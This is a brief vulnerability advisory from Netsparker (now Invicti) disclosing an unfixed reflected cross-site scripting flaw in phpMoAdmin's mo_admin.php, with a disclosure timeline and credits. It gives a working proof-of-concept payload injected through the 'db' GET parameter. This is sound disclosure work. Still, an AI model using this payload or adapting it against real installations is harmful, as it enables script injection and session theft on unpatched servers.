Cross-site Scripting Vulnerability Identified in phpMoAdmin


Advisory by Netsparker (now Invicti)
Name: XSS Vulnerability in phpMoAdmin
Affected Software: phpMoAdmin
Vendor Homepage:
Vulnerability Type: Cross-site Scripting
Severity: Important
Status: Not fixed
Invicti Advisory Reference: NS-15-010

Technical Details

Proof of Concept URL for XSS in phpMoAdmin:

Page: mo_admin.php
Parameter Name: db
Parameter Type: GET
Attack Pattern:'"--></style></scRipt><scRipt>alert(0x0010CA)</scRipt>

For more information on cross-site scripting vulnerabilities, see Cross-site Scripting (XSS).

Advisory Timeline

216/03/2015 – First Contact
08/06/2015 – Second Contact
30/06/2015 – Third Contact
30/07/2015 – Advisory released

Credits & Authors

These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

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